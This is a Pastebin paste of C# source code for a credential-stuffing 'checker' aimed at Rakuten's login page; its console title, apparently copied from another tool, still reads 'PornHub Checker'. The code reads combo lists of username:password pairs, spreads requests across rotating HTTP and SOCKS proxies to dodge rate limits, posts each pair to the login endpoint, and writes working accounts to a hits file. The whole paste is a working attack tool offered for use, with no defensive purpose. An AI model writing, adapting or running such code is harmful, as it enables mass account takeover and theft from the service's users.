Guest User

Untitled

a guest
May 1st, 2020
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.15 KB | None | 0 0
  1. using Leaf.xNet;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Drawing;
  5. using System.IO;
  6. using System.Linq;
  7. using System.Threading;
  8.  
  9. namespace rakuten
  10. {
  11. internal class CheckerHelper
  12. {
  13. public static int total;
  14.  
  15. public static int bad = 0;
  16.  
  17. public static int hits = 0;
  18.  
  19. public static int err = 0;
  20.  
  21. public static int check = 0;
  22.  
  23. public static int accindex = 0;
  24.  
  25. public static List<string> proxies = new List<string>();
  26.  
  27. public static string proxytype = "";
  28.  
  29. public static int proxyindex = 0;
  30.  
  31. public static int proxytotal = 0;
  32.  
  33. public static int stop = 0;
  34.  
  35. public static List<string> accounts = new List<string>();
  36.  
  37. public static int CPM = 0;
  38.  
  39. public static int CPM_aux = 0;
  40.  
  41. public static int threads;
  42.  
  43. public static void LoadCombos(string fileName)
  44. {
  45. using (FileStream fileStream = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
  46. {
  47. using (BufferedStream bufferedStream = new BufferedStream(fileStream))
  48. {
  49. using (StreamReader streamReader = new StreamReader(bufferedStream))
  50. {
  51. while (streamReader.ReadLine() != null)
  52. {
  53. CheckerHelper.total++;
  54. }
  55. }
  56. }
  57. }
  58. }
  59.  
  60. public static void LoadProxies(string fileName)
  61. {
  62. using (FileStream fileStream = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
  63. {
  64. using (BufferedStream bufferedStream = new BufferedStream(fileStream))
  65. {
  66. using (StreamReader streamReader = new StreamReader(bufferedStream))
  67. {
  68. while (streamReader.ReadLine() != null)
  69. {
  70. CheckerHelper.proxytotal++;
  71. }
  72. }
  73. }
  74. }
  75. }
  76.  
  77. public static void UpdateTitle()
  78. {
  79. for (; ; )
  80. {
  81. CheckerHelper.CPM = CheckerHelper.CPM_aux;
  82. CheckerHelper.CPM_aux = 0;
  83. Colorful.Console.Title = string.Format("[PornHub Checker] | Checked: {0}/{1} | Hits: {2} | Bad: {3} | Errors: {4} | CPM: ", new object[]
  84. {
  85. CheckerHelper.check,
  86. CheckerHelper.total,
  87. CheckerHelper.hits,
  88. CheckerHelper.bad,
  89. CheckerHelper.err
  90. }) + CheckerHelper.CPM * 60 + " | by dark#5000";
  91. Thread.Sleep(1000);
  92. }
  93. }
  94.  
  95. public static void Check()
  96. {
  97. for (; ; )
  98. {
  99. if (CheckerHelper.proxyindex > CheckerHelper.proxies.Count<string>() - 2)
  100. {
  101. CheckerHelper.proxyindex = 0;
  102. }
  103.  
  104. try
  105. {
  106. Interlocked.Increment(ref CheckerHelper.proxyindex);
  107. using (HttpRequest req = new HttpRequest())
  108. {
  109. if (CheckerHelper.accindex >= CheckerHelper.accounts.Count<string>())
  110. {
  111. CheckerHelper.stop++;
  112. break;
  113. }
  114. Interlocked.Increment(ref CheckerHelper.accindex);
  115. string[] array = CheckerHelper.accounts[CheckerHelper.accindex].Split(new char[]
  116. {
  117. ':',
  118. ';',
  119. '|'
  120. });
  121. string text = array[0] + ":" + array[1];
  122. try
  123. {
  124. if (CheckerHelper.proxytype == "HTTP")
  125. {
  126. req.Proxy = HttpProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
  127. req.Proxy.ConnectTimeout = 5000;
  128. }
  129. if (CheckerHelper.proxytype == "SOCKS4")
  130. {
  131. req.Proxy = Socks4ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
  132. req.Proxy.ConnectTimeout = 5000;
  133. }
  134. if (CheckerHelper.proxytype == "SOCKS5")
  135. {
  136. req.Proxy = Socks5ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
  137. req.Proxy.ConnectTimeout = 5000;
  138. }
  139. if (CheckerHelper.proxytype == "NO")
  140. {
  141. req.Proxy = null;
  142. }
  143. req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36";
  144. req.KeepAlive = true;
  145. req.IgnoreProtocolErrors = true;
  146. req.ConnectTimeout = 5000;
  147. req.Cookies = null;
  148. req.UseCookies = true;
  149.  
  150. string get = req.Get("https://grp01.id.rakuten.co.jp/rms/nid/login?", null).ToString();
  151. string str2 = "&u="+array[0] + "&p=" + array[1] ;
  152. string str3 = req.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", str2).ToString();
  153.  
  154. if (str3.Contains(":\"1\",\"remember"))
  155. {
  156. CheckerHelper.CPM_aux++;
  157. CheckerHelper.check++;
  158. CheckerHelper.hits++;
  159. Colorful.Console.WriteLine("[GOOD] " + text, Color.DarkGreen);
  160. CheckerHelper.SaveData(text);
  161. }
  162. else if (str3.Contains("Invalid username"))
  163. {
  164. CheckerHelper.CPM_aux++;
  165. CheckerHelper.check++;
  166. CheckerHelper.bad++;
  167. Colorful.Console.WriteLine("[BAD] " + text, Color.DarkRed);
  168. }
  169. else
  170. {
  171. CheckerHelper.accounts.Add(text);
  172. }
  173.  
  174. }
  175. catch (System.IO.FileNotFoundException)
  176. {
  177. Console.WriteLine("nofile");
  178. }
  179. }
  180. continue;
  181. }
  182. catch
  183. {
  184. Interlocked.Increment(ref CheckerHelper.err);
  185. }
  186. }
  187. }
  188.  
  189. public static void SaveData(string account)
  190. {
  191. try
  192. {
  193. using (StreamWriter sw = File.AppendText("hits.txt"))
  194. {
  195. sw.WriteLine("--------------------| Creditentials |------------------------");
  196. sw.WriteLine("- Login: " + account);
  197. sw.WriteLine("-------------------------------------------------------------");
  198. sw.WriteLine();
  199. }
  200. }
  201. catch
  202. {
  203.  
  204. }
  205. }
  206.  
  207. private static string Parse(string source, string left, string right)
  208. {
  209. return source.Split(new string[1] { left }, StringSplitOptions.None)[1].Split(new string[1]
  210. {
  211. right
  212. }, StringSplitOptions.None)[0];
  213. }
  214. }
  215. }
Add Comment
Please, Sign In to add comment